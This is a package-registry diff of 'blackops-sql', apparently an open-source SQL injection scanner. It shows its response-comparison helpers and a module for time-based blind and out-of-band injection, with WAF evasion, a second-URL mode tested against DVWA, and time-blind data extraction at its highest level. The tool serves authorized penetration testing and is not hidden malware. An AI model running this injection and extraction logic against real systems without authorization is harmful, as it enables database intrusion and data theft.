blackops-sql 0.1.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- blackops_sql-0.1.6.dist-info/METADATA +250 -0
- blackops_sql-0.1.6.dist-info/RECORD +29 -0
- blackops_sql-0.1.6.dist-info/WHEEL +4 -0
- blackops_sql-0.1.6.dist-info/entry_points.txt +2 -0
- blackops_sql-0.1.6.dist-info/licenses/LICENSE +661 -0
- blackops_sql-0.1.6.dist-info/licenses/NOTICE +27 -0
- blackopssql/__init__.py +111 -0
- blackopssql/__main__.py +287 -0
- blackopssql/_cli/__init__.py +0 -0
- blackopssql/_cli/args.py +229 -0
- blackopssql/_cli/summary.py +216 -0
- blackopssql/engine/__init__.py +35 -0
- blackopssql/engine/_scanner/__init__.py +0 -0
- blackopssql/engine/_scanner/active/__init__.py +526 -0
- blackopssql/engine/_scanner/active/_helpers.py +301 -0
- blackopssql/engine/_scanner/blind.py +315 -0
- blackopssql/engine/_scanner/extract.py +302 -0
- blackopssql/engine/_scanner/options.py +96 -0
- blackopssql/engine/_scanner/passive.py +86 -0
- blackopssql/engine/_scanner/payloads/__init__.py +80 -0
- blackopssql/engine/_scanner/pipeline.py +547 -0
- blackopssql/engine/_scanner/stacked.py +131 -0
- blackopssql/engine/crawler.py +7 -0
- blackopssql/engine/http/__init__.py +0 -0
- blackopssql/engine/http/injector.py +10 -0
- blackopssql/engine/http/waf_detect.py +51 -0
- blackopssql/engine/log.py +7 -0
- blackopssql/engine/reporter.py +208 -0
- blackopssql/engine/scanner.py +95 -0
|
@@ -0,0 +1,301 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
HTTP fetch helper and response comparison utilities for active scanning.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
import difflib
|
|
9
|
+
import re
|
|
10
|
+
from typing import Any, Dict, Optional
|
|
11
|
+
|
|
12
|
+
from ...log import get_logger
|
|
13
|
+
from ...http.injector import Injector
|
|
14
|
+
|
|
15
|
+
logger = get_logger("blackopssql.active")
|
|
16
|
+
|
|
17
|
+
# diff score threshold above which we consider a boolean result confirmed
|
|
18
|
+
_BOOL_CONFIRM_THRESHOLD = 0.20
|
|
19
|
+
# diff score threshold above which we flag it as likely (lower confidence)
|
|
20
|
+
_BOOL_LIKELY_THRESHOLD = 0.10
|
|
21
|
+
# content-length ratio difference that alone signals a boolean response divergence
|
|
22
|
+
_BOOL_LEN_RATIO_THRESHOLD = 0.02
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def _fetch(
|
|
26
|
+
injector: Injector,
|
|
27
|
+
url: str,
|
|
28
|
+
method: str,
|
|
29
|
+
params: Dict[str, str],
|
|
30
|
+
param: str,
|
|
31
|
+
value: Optional[str],
|
|
32
|
+
second_url: str = "",
|
|
33
|
+
json_body: bool = False,
|
|
34
|
+
path_index: int = 0,
|
|
35
|
+
) -> Optional[str]:
|
|
36
|
+
"""
|
|
37
|
+
Inject *value* into *param* and return response text, or None on error.
|
|
38
|
+
|
|
39
|
+
If *value* is ``None`` (baseline fetch), the original parameter value is
|
|
40
|
+
used unchanged — this keeps the baseline representative of normal app
|
|
41
|
+
behaviour for a valid input, rather than an empty/missing param which may
|
|
42
|
+
trigger a different code path (redirect, "no results", error page).
|
|
43
|
+
|
|
44
|
+
Otherwise the payload is **appended** to the existing parameter value.
|
|
45
|
+
|
|
46
|
+
If *second_url* is provided, the injection is submitted to *url* (or the
|
|
47
|
+
POST target) but the response is read from *second_url* (GET). This
|
|
48
|
+
supports two-step injection patterns like DVWA high-security SQLI where
|
|
49
|
+
the payload is submitted to a session-input page and the result is
|
|
50
|
+
rendered on a different page.
|
|
51
|
+
"""
|
|
52
|
+
import urllib.parse as _up
|
|
53
|
+
|
|
54
|
+
# Resolve original param value (from URL query string for GET, from params dict otherwise)
|
|
55
|
+
if method.upper() == "GET":
|
|
56
|
+
qs = _up.parse_qs(_up.urlparse(url).query, keep_blank_values=True)
|
|
57
|
+
original = qs.get(param, [""])[0]
|
|
58
|
+
else:
|
|
59
|
+
original = params.get(param, "")
|
|
60
|
+
|
|
61
|
+
if value is None:
|
|
62
|
+
# Baseline: send the original value unmodified
|
|
63
|
+
injected_value = original
|
|
64
|
+
else:
|
|
65
|
+
# Inject: append payload to the original value
|
|
66
|
+
injected_value = original + value
|
|
67
|
+
|
|
68
|
+
injected = {**params, param: injected_value}
|
|
69
|
+
|
|
70
|
+
try:
|
|
71
|
+
if second_url:
|
|
72
|
+
# Two-step pattern: inject into url/POST, read result from second_url
|
|
73
|
+
if method.upper() == "POST":
|
|
74
|
+
if json_body:
|
|
75
|
+
injector.post(url, json_body=injected)
|
|
76
|
+
else:
|
|
77
|
+
injector.post(url, data=injected)
|
|
78
|
+
elif method.upper() == "PATH":
|
|
79
|
+
injector.inject_path(url, path_index, injected[param])
|
|
80
|
+
elif method.upper() == "COOKIE":
|
|
81
|
+
injector.inject_cookie(url, param, injected[param])
|
|
82
|
+
elif method.upper() == "HEADER":
|
|
83
|
+
injector.inject_header(url, param, injected[param])
|
|
84
|
+
else:
|
|
85
|
+
injector.inject_get(url, param, injected[param])
|
|
86
|
+
resp = injector.get(second_url)
|
|
87
|
+
elif method.upper() == "POST":
|
|
88
|
+
if json_body:
|
|
89
|
+
resp = injector.post(url, json_body=injected)
|
|
90
|
+
else:
|
|
91
|
+
resp = injector.post(url, data=injected)
|
|
92
|
+
elif method.upper() == "PATH":
|
|
93
|
+
resp = injector.inject_path(url, path_index, injected[param])
|
|
94
|
+
elif method.upper() == "COOKIE":
|
|
95
|
+
resp = injector.inject_cookie(url, param, injected[param])
|
|
96
|
+
elif method.upper() == "HEADER":
|
|
97
|
+
resp = injector.inject_header(url, param, injected[param])
|
|
98
|
+
else:
|
|
99
|
+
# For GET, rebuild the URL with the injected param value
|
|
100
|
+
resp = injector.inject_get(url, param, injected[param])
|
|
101
|
+
|
|
102
|
+
# Treat error HTTP status codes as non-injected responses to avoid
|
|
103
|
+
# false positives from WAF block pages (429, 503) or server errors (5xx).
|
|
104
|
+
if hasattr(resp, "status_code") and resp.status_code in (429, 503):
|
|
105
|
+
logger.debug(
|
|
106
|
+
"HTTP %d on %s param=%s — treating as baseline noise",
|
|
107
|
+
resp.status_code, url, param,
|
|
108
|
+
)
|
|
109
|
+
return None
|
|
110
|
+
|
|
111
|
+
# Prepend the HTTP status code so that boolean detectors can see
|
|
112
|
+
# status-code-based signals (e.g. 200 vs 404 as true/false indicator).
|
|
113
|
+
# We use a sentinel prefix format that won't appear in normal responses.
|
|
114
|
+
status_prefix = ""
|
|
115
|
+
if hasattr(resp, "status_code"):
|
|
116
|
+
status_prefix = f"__HTTP_STATUS_{resp.status_code}__\n"
|
|
117
|
+
return status_prefix + resp.text
|
|
118
|
+
except Exception as exc:
|
|
119
|
+
logger.debug("Request error for %s param=%s: %s", url, param, exc)
|
|
120
|
+
return None
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
_STATUS_SENTINEL_RE = re.compile(r"^__HTTP_STATUS_\d+__\n", re.MULTILINE)
|
|
124
|
+
|
|
125
|
+
|
|
126
|
+
def strip_status_sentinel(text: str) -> str:
|
|
127
|
+
"""Remove the HTTP status sentinel prefix added by _fetch before storing evidence."""
|
|
128
|
+
return _STATUS_SENTINEL_RE.sub("", text, count=1)
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
def _diff_score(a: str, b: str) -> float:
|
|
132
|
+
"""
|
|
133
|
+
Return a similarity *distance* between two response bodies.
|
|
134
|
+
0.0 = identical, 1.0 = completely different.
|
|
135
|
+
|
|
136
|
+
Uses multiple signals:
|
|
137
|
+
1. SequenceMatcher over character runs (fast, catches large diffs)
|
|
138
|
+
2. Exclusive-line ratio: lines that appear in exactly one of the two responses.
|
|
139
|
+
This catches single changed lines in an otherwise-identical large HTML page
|
|
140
|
+
(e.g. boolean-blind "User ID exists" vs "User ID is MISSING").
|
|
141
|
+
|
|
142
|
+
The maximum of all signals is returned.
|
|
143
|
+
"""
|
|
144
|
+
# Character-level ratio over first 4000 chars
|
|
145
|
+
char_ratio = difflib.SequenceMatcher(None, a[:4000], b[:4000]).ratio()
|
|
146
|
+
char_score = 1.0 - char_ratio
|
|
147
|
+
|
|
148
|
+
# Exclusive-line score: (|A-B| + |B-A|) / (|A| + |B|)
|
|
149
|
+
a_lines = set(a.splitlines())
|
|
150
|
+
b_lines = set(b.splitlines())
|
|
151
|
+
total_unique = len(a_lines) + len(b_lines)
|
|
152
|
+
if total_unique > 0:
|
|
153
|
+
exclusive = len(a_lines - b_lines) + len(b_lines - a_lines)
|
|
154
|
+
exclusive_score = exclusive / total_unique
|
|
155
|
+
else:
|
|
156
|
+
exclusive_score = 0.0
|
|
157
|
+
|
|
158
|
+
return max(char_score, exclusive_score)
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
def _has_stable_boolean_signal(
|
|
162
|
+
baseline: str,
|
|
163
|
+
resp_true: str,
|
|
164
|
+
resp_false: str,
|
|
165
|
+
) -> bool:
|
|
166
|
+
"""
|
|
167
|
+
Return True when there is a reliable boolean divergence between
|
|
168
|
+
*resp_true* and *resp_false* that is NOT present between *baseline*
|
|
169
|
+
and *resp_true* (i.e. the true condition matches the baseline behaviour).
|
|
170
|
+
|
|
171
|
+
This covers the DVWA-style blind case where the true/false responses
|
|
172
|
+
differ in exactly one content line (e.g. "User ID exists" vs
|
|
173
|
+
"User ID is MISSING") while being otherwise byte-for-byte identical.
|
|
174
|
+
"""
|
|
175
|
+
# Lines exclusively in resp_true but not resp_false (and not empty/whitespace)
|
|
176
|
+
true_lines = set(l for l in resp_true.splitlines() if l.strip())
|
|
177
|
+
false_lines = set(l for l in resp_false.splitlines() if l.strip())
|
|
178
|
+
base_lines = set(l for l in baseline.splitlines() if l.strip())
|
|
179
|
+
|
|
180
|
+
# We need at least one exclusive line on *each* side (true says X, false says Y)
|
|
181
|
+
true_exclusive = true_lines - false_lines
|
|
182
|
+
false_exclusive = false_lines - true_lines
|
|
183
|
+
|
|
184
|
+
if not true_exclusive or not false_exclusive:
|
|
185
|
+
return False
|
|
186
|
+
|
|
187
|
+
# The baseline should be stable relative to *one* of the two sides,
|
|
188
|
+
# confirming this is a data-dependent response (not a random/dynamic page).
|
|
189
|
+
# Case A: baseline looks like the "true" response (normal user exists)
|
|
190
|
+
if true_exclusive & base_lines:
|
|
191
|
+
return True
|
|
192
|
+
# Case B: baseline looks like the "false" response (empty/non-existent value)
|
|
193
|
+
if false_exclusive & base_lines:
|
|
194
|
+
return True
|
|
195
|
+
# Case C: baseline has no unique lines from either side — still confirm
|
|
196
|
+
# if true and false have symmetric exclusive lines (both sides diverge),
|
|
197
|
+
# but guard against dynamic pages (CSRF tokens, timestamps) by requiring:
|
|
198
|
+
# 1. Very few exclusive lines relative to total (CSRF tokens produce many)
|
|
199
|
+
# 2. The exclusive lines must not look like random tokens (length check)
|
|
200
|
+
# 3. The true/false pages must be broadly similar (not just random noise)
|
|
201
|
+
total_lines = max(len(true_lines), len(false_lines), 1)
|
|
202
|
+
if (len(true_exclusive) <= 3 and len(false_exclusive) <= 3
|
|
203
|
+
and len(true_exclusive) / total_lines < 0.10):
|
|
204
|
+
# Additional guard: reject if any exclusive line looks like a random token
|
|
205
|
+
# (short line containing only hex/alphanumeric — typical CSRF token pattern)
|
|
206
|
+
_token_re = re.compile(r"[a-f0-9]{16,}|[A-Za-z0-9+/=]{24,}")
|
|
207
|
+
all_exclusive = true_exclusive | false_exclusive
|
|
208
|
+
has_token_lines = any(
|
|
209
|
+
_token_re.search(line.strip()) for line in all_exclusive
|
|
210
|
+
)
|
|
211
|
+
if not has_token_lines:
|
|
212
|
+
return True
|
|
213
|
+
|
|
214
|
+
return False
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
def _len_ratio(a: str, b: str) -> float:
|
|
218
|
+
"""
|
|
219
|
+
Return the relative content-length difference between two responses.
|
|
220
|
+
0.0 = same length, 1.0 = one is empty while the other is not.
|
|
221
|
+
"""
|
|
222
|
+
la, lb = len(a), len(b)
|
|
223
|
+
if la == 0 and lb == 0:
|
|
224
|
+
return 0.0
|
|
225
|
+
return abs(la - lb) / max(la, lb)
|
|
226
|
+
|
|
227
|
+
|
|
228
|
+
def _extract_marker(body: str, marker: str) -> str:
|
|
229
|
+
"""Extract a snippet around the marker from the response body.
|
|
230
|
+
|
|
231
|
+
Returns up to 200 characters of context (10 before, 190 after) so that
|
|
232
|
+
meaningful SQL output (version strings, table names) is captured rather
|
|
233
|
+
than just the marker itself.
|
|
234
|
+
"""
|
|
235
|
+
idx = body.find(marker)
|
|
236
|
+
if idx == -1:
|
|
237
|
+
return ""
|
|
238
|
+
return body[max(0, idx - 10): idx + len(marker) + 190]
|
|
239
|
+
|
|
240
|
+
|
|
241
|
+
def _is_path_reflected(body: str, marker: str, payload: str) -> bool:
|
|
242
|
+
"""Return True if the marker appears to be a URL/path reflection rather than
|
|
243
|
+
actual UNION output.
|
|
244
|
+
|
|
245
|
+
Detection heuristics:
|
|
246
|
+
1. The marker is inside a ``<title>`` tag.
|
|
247
|
+
2. The marker immediately follows URL-encoded SQL characters — indicating
|
|
248
|
+
the full payload was echoed verbatim.
|
|
249
|
+
3. The marker only appears in an HTML attribute context (e.g. form input value).
|
|
250
|
+
4. In the tag-stripped body, the marker is preceded by "UNION" and "SELECT" within 120 chars.
|
|
251
|
+
"""
|
|
252
|
+
import urllib.parse as _up
|
|
253
|
+
body_lower = body.lower()
|
|
254
|
+
|
|
255
|
+
# Heuristic 1: marker inside <title>
|
|
256
|
+
title_start = body_lower.find("<title>")
|
|
257
|
+
title_end = body_lower.find("</title>")
|
|
258
|
+
if title_start != -1 and title_end != -1:
|
|
259
|
+
title_text = body[title_start:title_end]
|
|
260
|
+
if marker.lower() in title_text.lower():
|
|
261
|
+
return True
|
|
262
|
+
|
|
263
|
+
# Heuristic 2: payload echoed verbatim (URL-encoded form)
|
|
264
|
+
encoded_marker = _up.quote(marker)
|
|
265
|
+
if encoded_marker != marker and encoded_marker in body:
|
|
266
|
+
return True
|
|
267
|
+
|
|
268
|
+
# Heuristic 3: marker only appears in HTML attribute context (form input value echo).
|
|
269
|
+
# e.g. <input value="... 'BreachSQL_abc' ...">
|
|
270
|
+
import re as _re2
|
|
271
|
+
clean_text = _re2.sub(r"<[^>]+>", "", body)
|
|
272
|
+
if marker.lower() not in clean_text.lower():
|
|
273
|
+
for enc_quote in ("'", "'", "%27"):
|
|
274
|
+
if (f"{enc_quote}{marker}".lower() in body.lower()
|
|
275
|
+
or f"{marker}{enc_quote}".lower() in body.lower()):
|
|
276
|
+
return True
|
|
277
|
+
|
|
278
|
+
# Heuristic 4: check the tag-stripped (rendered text) body. If EVERY occurrence
|
|
279
|
+
# of the marker in rendered text has "union" and "select" within 120 chars before
|
|
280
|
+
# it, the marker is only present as a reflected payload (e.g. "Results for: ...
|
|
281
|
+
# UNION SELECT 'marker'...") and not as actual SQL output.
|
|
282
|
+
# If at least ONE occurrence has no SQL keywords before it, the marker appeared
|
|
283
|
+
# as genuine data output — do NOT flag as reflected.
|
|
284
|
+
clean_body_lower = clean_text.lower()
|
|
285
|
+
marker_lower = marker.lower()
|
|
286
|
+
start = 0
|
|
287
|
+
reflected_count = 0
|
|
288
|
+
total_count = 0
|
|
289
|
+
while True:
|
|
290
|
+
clean_idx = clean_body_lower.find(marker_lower, start)
|
|
291
|
+
if clean_idx == -1:
|
|
292
|
+
break
|
|
293
|
+
total_count += 1
|
|
294
|
+
clean_before = clean_body_lower[max(0, clean_idx - 120):clean_idx]
|
|
295
|
+
if "union" in clean_before and "select" in clean_before:
|
|
296
|
+
reflected_count += 1
|
|
297
|
+
start = clean_idx + 1
|
|
298
|
+
if total_count > 0 and reflected_count == total_count:
|
|
299
|
+
return True
|
|
300
|
+
|
|
301
|
+
return False
|
|
@@ -0,0 +1,315 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
BlackOpsSQL — engine/_scanner/blind.py
|
|
5
|
+
Time-based blind and out-of-band (OOB) SQLi detection.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import time
|
|
11
|
+
from typing import Any, Dict, List, Optional
|
|
12
|
+
|
|
13
|
+
from ..log import get_logger
|
|
14
|
+
from ..reporter import TimeFinding, OOBFinding, ExtractionFinding, ScanResult
|
|
15
|
+
from ..http.injector import Injector
|
|
16
|
+
from ..http.waf_detect import EVASION_NONE
|
|
17
|
+
from .options import ScanOptions
|
|
18
|
+
from .payloads import apply_evasion, get_time_payloads, get_oob_payloads
|
|
19
|
+
|
|
20
|
+
logger = get_logger("blackopssql.blind")
|
|
21
|
+
|
|
22
|
+
_MAX_TIME_PAYLOADS = 12
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def run_time_based(
|
|
26
|
+
surface: Dict[str, Any],
|
|
27
|
+
evasions: List[str],
|
|
28
|
+
opts: ScanOptions,
|
|
29
|
+
injector: Injector,
|
|
30
|
+
result: ScanResult,
|
|
31
|
+
) -> None:
|
|
32
|
+
"""Test a single surface for time-based blind SQLi."""
|
|
33
|
+
url = surface["url"]
|
|
34
|
+
method = surface["method"]
|
|
35
|
+
params = surface["params"]
|
|
36
|
+
param = surface["single_param"]
|
|
37
|
+
json_body = surface.get("json_body", False)
|
|
38
|
+
path_index = surface.get("path_index", 0)
|
|
39
|
+
|
|
40
|
+
evasion = evasions[0] if evasions else EVASION_NONE
|
|
41
|
+
dbms = result.dbms_detected or opts.dbms
|
|
42
|
+
second_url = getattr(opts, "second_url", "")
|
|
43
|
+
|
|
44
|
+
payloads = get_time_payloads(dbms, opts.time_threshold)[:_MAX_TIME_PAYLOADS]
|
|
45
|
+
|
|
46
|
+
# Measure baseline response time (2 samples, take min)
|
|
47
|
+
baseline_time = _measure_baseline(injector, url, method, params, param, second_url, json_body, path_index)
|
|
48
|
+
if baseline_time is None:
|
|
49
|
+
return
|
|
50
|
+
|
|
51
|
+
_prev_count = len(result.time_based)
|
|
52
|
+
|
|
53
|
+
for evasion in (evasions if evasions else [EVASION_NONE]):
|
|
54
|
+
for raw_payload in payloads:
|
|
55
|
+
payload = apply_evasion(raw_payload, evasion)
|
|
56
|
+
elapsed = _timed_fetch(injector, url, method, params, param, payload,
|
|
57
|
+
second_url=second_url, json_body=json_body, path_index=path_index)
|
|
58
|
+
if elapsed is None:
|
|
59
|
+
continue
|
|
60
|
+
|
|
61
|
+
# Hit if we exceed threshold AND the delay is at least 2× baseline
|
|
62
|
+
if elapsed >= opts.time_threshold and elapsed >= baseline_time * 2:
|
|
63
|
+
# Confirm with a second request
|
|
64
|
+
elapsed2 = _timed_fetch(injector, url, method, params, param, payload,
|
|
65
|
+
second_url=second_url, json_body=json_body, path_index=path_index)
|
|
66
|
+
if elapsed2 is not None and elapsed2 >= opts.time_threshold:
|
|
67
|
+
_dbms = _infer_dbms_from_payload(raw_payload)
|
|
68
|
+
logger.finding(
|
|
69
|
+
"Time-based SQLi: %s param=%s delay=%.2fs payload=%s",
|
|
70
|
+
url, param, elapsed, payload,
|
|
71
|
+
)
|
|
72
|
+
result.append_time(TimeFinding(
|
|
73
|
+
url=url,
|
|
74
|
+
parameter=param,
|
|
75
|
+
method=method,
|
|
76
|
+
payload=payload,
|
|
77
|
+
dbms=_dbms,
|
|
78
|
+
observed_delay=round(elapsed, 2),
|
|
79
|
+
threshold=opts.time_threshold,
|
|
80
|
+
))
|
|
81
|
+
if result.dbms_detected is None and _dbms != "unknown":
|
|
82
|
+
result.dbms_detected = _dbms
|
|
83
|
+
# Level 3: attempt data extraction via time-blind char extractor
|
|
84
|
+
if opts.level >= 3:
|
|
85
|
+
from .extract import extract_value, get_extraction_targets
|
|
86
|
+
_baseline_resp = ""
|
|
87
|
+
_surface = {"url": url, "method": method, "params": params,
|
|
88
|
+
"single_param": param,
|
|
89
|
+
"json_body": json_body, "path_index": path_index}
|
|
90
|
+
for _label, _expr in get_extraction_targets(_dbms):
|
|
91
|
+
_extracted = extract_value(
|
|
92
|
+
expr=_expr,
|
|
93
|
+
surface=_surface,
|
|
94
|
+
evasions=[evasion],
|
|
95
|
+
opts=opts,
|
|
96
|
+
injector=injector,
|
|
97
|
+
baseline=_baseline_resp,
|
|
98
|
+
mode="time",
|
|
99
|
+
)
|
|
100
|
+
if _extracted:
|
|
101
|
+
logger.finding("Extracted via time blind: %s param=%s %s=%s",
|
|
102
|
+
url, param, _label, _extracted)
|
|
103
|
+
result.append_extraction(ExtractionFinding(
|
|
104
|
+
url=url, parameter=param, method=method,
|
|
105
|
+
expr=_expr, value=_extracted, mode="time",
|
|
106
|
+
))
|
|
107
|
+
return # one finding per param is enough
|
|
108
|
+
|
|
109
|
+
# If a finding was recorded with this evasion, stop escalating
|
|
110
|
+
if len(result.time_based) > _prev_count:
|
|
111
|
+
break
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
def run_oob(
|
|
115
|
+
surface: Dict[str, Any],
|
|
116
|
+
evasions: List[str],
|
|
117
|
+
opts: ScanOptions,
|
|
118
|
+
injector: Injector,
|
|
119
|
+
result: ScanResult,
|
|
120
|
+
) -> None:
|
|
121
|
+
"""Inject OOB payloads. Confirmation requires checking your callback server externally."""
|
|
122
|
+
if not opts.oob_callback:
|
|
123
|
+
return
|
|
124
|
+
|
|
125
|
+
url = surface["url"]
|
|
126
|
+
method = surface["method"]
|
|
127
|
+
params = surface["params"]
|
|
128
|
+
param = surface["single_param"]
|
|
129
|
+
json_body = surface.get("json_body", False)
|
|
130
|
+
path_index = surface.get("path_index", 0)
|
|
131
|
+
|
|
132
|
+
evasion = evasions[0] if evasions else EVASION_NONE
|
|
133
|
+
dbms = result.dbms_detected or opts.dbms
|
|
134
|
+
|
|
135
|
+
payloads = get_oob_payloads(dbms, opts.oob_callback)
|
|
136
|
+
_prev_count = len(result.oob)
|
|
137
|
+
|
|
138
|
+
for evasion in (evasions if evasions else [EVASION_NONE]):
|
|
139
|
+
for raw_payload in payloads:
|
|
140
|
+
payload = apply_evasion(raw_payload, evasion)
|
|
141
|
+
try:
|
|
142
|
+
if method.upper() == "POST":
|
|
143
|
+
if json_body:
|
|
144
|
+
injector.post(url, json_body={**params, param: payload})
|
|
145
|
+
else:
|
|
146
|
+
injector.post(url, data={**params, param: payload})
|
|
147
|
+
elif method.upper() == "PATH":
|
|
148
|
+
injector.inject_path(url, path_index, payload)
|
|
149
|
+
elif method.upper() == "COOKIE":
|
|
150
|
+
injector.inject_cookie(url, param, payload)
|
|
151
|
+
else:
|
|
152
|
+
injector.inject_get(url, param, payload)
|
|
153
|
+
except Exception as exc:
|
|
154
|
+
logger.debug("OOB inject error %s param=%s: %s", url, param, exc)
|
|
155
|
+
continue
|
|
156
|
+
|
|
157
|
+
logger.finding("OOB payload injected (unconfirmed — check callback server): %s param=%s", url, param)
|
|
158
|
+
result.append_oob(OOBFinding(
|
|
159
|
+
url=url,
|
|
160
|
+
parameter=param,
|
|
161
|
+
method=method,
|
|
162
|
+
payload=payload,
|
|
163
|
+
callback_url=opts.oob_callback,
|
|
164
|
+
confirmed=False,
|
|
165
|
+
))
|
|
166
|
+
return # one OOB injection per param
|
|
167
|
+
|
|
168
|
+
_cur_count = len(result.oob)
|
|
169
|
+
if _cur_count > _prev_count:
|
|
170
|
+
break
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
# ---------------------------------------------------------------------------
|
|
174
|
+
# Helpers
|
|
175
|
+
# ---------------------------------------------------------------------------
|
|
176
|
+
|
|
177
|
+
def _timed_fetch(
|
|
178
|
+
injector: Injector,
|
|
179
|
+
url: str,
|
|
180
|
+
method: str,
|
|
181
|
+
params: Dict[str, str],
|
|
182
|
+
param: str,
|
|
183
|
+
value: str,
|
|
184
|
+
second_url: str = "",
|
|
185
|
+
json_body: bool = False,
|
|
186
|
+
path_index: int = 0,
|
|
187
|
+
) -> Optional[float]:
|
|
188
|
+
"""Send request with *value* appended to the original param and return elapsed seconds."""
|
|
189
|
+
import urllib.parse as _up
|
|
190
|
+
|
|
191
|
+
# Append payload to original param value (same logic as active._fetch)
|
|
192
|
+
if method.upper() == "GET":
|
|
193
|
+
qs = _up.parse_qs(_up.urlparse(url).query, keep_blank_values=True)
|
|
194
|
+
original = qs.get(param, [""])[0]
|
|
195
|
+
else:
|
|
196
|
+
original = params.get(param, "")
|
|
197
|
+
injected_value = original + value
|
|
198
|
+
injected = {**params, param: injected_value}
|
|
199
|
+
|
|
200
|
+
t0 = time.monotonic()
|
|
201
|
+
try:
|
|
202
|
+
if second_url:
|
|
203
|
+
if method.upper() == "POST":
|
|
204
|
+
if json_body:
|
|
205
|
+
injector.post(url, json_body=injected)
|
|
206
|
+
else:
|
|
207
|
+
injector.post(url, data=injected)
|
|
208
|
+
elif method.upper() == "PATH":
|
|
209
|
+
injector.inject_path(url, path_index, injected_value)
|
|
210
|
+
elif method.upper() == "COOKIE":
|
|
211
|
+
injector.inject_cookie(url, param, injected_value)
|
|
212
|
+
elif method.upper() == "HEADER":
|
|
213
|
+
injector.inject_header(url, param, injected_value)
|
|
214
|
+
else:
|
|
215
|
+
injector.inject_get(url, param, injected_value)
|
|
216
|
+
injector.get(second_url)
|
|
217
|
+
elif method.upper() == "POST":
|
|
218
|
+
if json_body:
|
|
219
|
+
injector.post(url, json_body=injected)
|
|
220
|
+
else:
|
|
221
|
+
injector.post(url, data=injected)
|
|
222
|
+
elif method.upper() == "PATH":
|
|
223
|
+
injector.inject_path(url, path_index, injected_value)
|
|
224
|
+
elif method.upper() == "COOKIE":
|
|
225
|
+
injector.inject_cookie(url, param, injected_value)
|
|
226
|
+
elif method.upper() == "HEADER":
|
|
227
|
+
injector.inject_header(url, param, injected_value)
|
|
228
|
+
else:
|
|
229
|
+
injector.inject_get(url, param, injected_value)
|
|
230
|
+
return time.monotonic() - t0
|
|
231
|
+
except Exception:
|
|
232
|
+
return None
|
|
233
|
+
|
|
234
|
+
|
|
235
|
+
def _measure_baseline(
|
|
236
|
+
injector: Injector,
|
|
237
|
+
url: str,
|
|
238
|
+
method: str,
|
|
239
|
+
params: Dict[str, str],
|
|
240
|
+
param: str,
|
|
241
|
+
second_url: str = "",
|
|
242
|
+
json_body: bool = False,
|
|
243
|
+
path_index: int = 0,
|
|
244
|
+
) -> Optional[float]:
|
|
245
|
+
"""Return the minimum of two clean request times (original param value, no injection)."""
|
|
246
|
+
times = []
|
|
247
|
+
for _ in range(2):
|
|
248
|
+
t = _timed_fetch_clean(injector, url, method, params, param,
|
|
249
|
+
second_url=second_url, json_body=json_body, path_index=path_index)
|
|
250
|
+
if t is not None:
|
|
251
|
+
times.append(t)
|
|
252
|
+
return min(times) if times else None
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
def _timed_fetch_clean(
|
|
256
|
+
injector: Injector,
|
|
257
|
+
url: str,
|
|
258
|
+
method: str,
|
|
259
|
+
params: Dict[str, str],
|
|
260
|
+
param: str,
|
|
261
|
+
second_url: str = "",
|
|
262
|
+
json_body: bool = False,
|
|
263
|
+
path_index: int = 0,
|
|
264
|
+
) -> Optional[float]:
|
|
265
|
+
"""Send the request with the *original* param value (no injection) and return elapsed seconds."""
|
|
266
|
+
import urllib.parse as _up
|
|
267
|
+
|
|
268
|
+
if method.upper() == "GET":
|
|
269
|
+
qs = _up.parse_qs(_up.urlparse(url).query, keep_blank_values=True)
|
|
270
|
+
original = qs.get(param, [""])[0]
|
|
271
|
+
else:
|
|
272
|
+
original = params.get(param, "")
|
|
273
|
+
|
|
274
|
+
t0 = time.monotonic()
|
|
275
|
+
try:
|
|
276
|
+
if second_url:
|
|
277
|
+
if method.upper() == "POST":
|
|
278
|
+
if json_body:
|
|
279
|
+
injector.post(url, json_body=params)
|
|
280
|
+
else:
|
|
281
|
+
injector.post(url, data=params)
|
|
282
|
+
elif method.upper() == "PATH":
|
|
283
|
+
injector.inject_path(url, path_index, original)
|
|
284
|
+
elif method.upper() == "COOKIE":
|
|
285
|
+
injector.inject_cookie(url, param, original)
|
|
286
|
+
elif method.upper() == "HEADER":
|
|
287
|
+
injector.inject_header(url, param, original)
|
|
288
|
+
else:
|
|
289
|
+
injector.inject_get(url, param, original)
|
|
290
|
+
injector.get(second_url)
|
|
291
|
+
elif method.upper() == "POST":
|
|
292
|
+
if json_body:
|
|
293
|
+
injector.post(url, json_body=params)
|
|
294
|
+
else:
|
|
295
|
+
injector.post(url, data=params)
|
|
296
|
+
elif method.upper() == "PATH":
|
|
297
|
+
injector.inject_path(url, path_index, original)
|
|
298
|
+
elif method.upper() == "COOKIE":
|
|
299
|
+
injector.inject_cookie(url, param, original)
|
|
300
|
+
elif method.upper() == "HEADER":
|
|
301
|
+
injector.inject_header(url, param, original)
|
|
302
|
+
else:
|
|
303
|
+
injector.inject_get(url, param, original)
|
|
304
|
+
return time.monotonic() - t0
|
|
305
|
+
except Exception:
|
|
306
|
+
return None
|
|
307
|
+
|
|
308
|
+
|
|
309
|
+
def _infer_dbms_from_payload(payload: str) -> str:
|
|
310
|
+
p = payload.lower()
|
|
311
|
+
if "pg_sleep(" in p: return "postgres"
|
|
312
|
+
if "sleep(" in p: return "mysql"
|
|
313
|
+
if "waitfor delay" in p: return "mssql"
|
|
314
|
+
if "randomblob(" in p: return "sqlite"
|
|
315
|
+
return "unknown"
|